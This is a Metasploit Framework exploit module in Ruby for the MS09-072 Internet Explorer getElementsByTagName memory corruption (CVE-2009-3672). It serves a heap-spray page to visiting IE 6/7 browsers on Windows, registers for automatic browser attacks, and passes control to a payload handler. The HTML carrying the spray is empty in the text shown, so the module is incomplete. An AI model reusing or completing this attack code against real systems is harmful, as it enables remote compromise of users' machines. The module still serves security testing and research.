## # $Id: ms09_072_style_object.rb 7775 2009-12-09 15:06:26Z hdm $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "6.0", :ua_maxver => "7.0", :javascript => true, :os_name => OperatingSystems::WINDOWS, :vuln_test => nil, # no way to test without just trying it :rank => LowRanking # exploitable on ie7/vista }) def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Internet Explorer Style getElementsByTagName Memory Corruption', 'Description' => %q{ This module exploits a vulnerability in the getElementsByTagName function as implemented within Internet Explorer. }, 'License' => MSF_LICENSE, 'Author' => [ 'securitylab.ir ', 'jduck' ], 'Version' => '$Revision: 7775 $', 'References' => [ ['MSB', 'MS09-072'], ['CVE', '2009-3672'], ['OSVDB', '50622'], ['BID', '37085'], ['URL', 'http://www.microsoft.com/technet/security/advisory/977981.mspx'], ['URL', 'http://taossa.com/archive/bh08sotirovdowd.pdf'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'HTTP::compression' => 'gzip', 'HTTP::chunked' => true }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", 'Compat' => { 'ConnectionType' => '-find', }, 'StackAdjustment' => -3500 }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { }], ], 'DisclosureDate' => 'Nov 20 2009', 'DefaultTarget' => 0)) end def on_request_uri(cli, request) # resulting eips: # 0x501d6bd8 # windows vista ie7 (mshtml.dll 7.0.6001.18203) # 0xc5fe7dc9 # windows xp sp3 ie6 (mshtml.dll 6.0.2900.5848) # nul deref! # windows xp sp3 ie7 (mshtml.dll 7.0.5730.13) # 0x6e767fae # windows 2k3 sp2 ie6 (mshtml.dll 6.0.3790.4470) # 0x6cf941a7 # windows 2k3 sp2 ie7 (mshtml.dll 7.0.6000.16825) print_status("Entering heap spray mode for #{cli.peerhost}:#{cli.peerport}") var_memory = rand_text_alpha(rand(100) + 1) var_boom = rand_text_alpha(rand(100) + 1) var_body = rand_text_alpha(rand(100) + 1) var_unescape = rand_text_alpha(rand(100) + 1) var_shellcode = rand_text_alpha(rand(100) + 1) var_spray = rand_text_alpha(rand(100) + 1) var_start = rand_text_alpha(rand(100) + 1) var_i = rand_text_alpha(rand(100) + 1) var_ss = rand_text_alpha(rand(100) + 1) var_fb = rand_text_alpha(rand(100) + 1) var_bk = rand_text_alpha(rand(100) + 1) html = %Q| | # Transmit the response to the client send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' }) # Handle the payload handler(cli) end end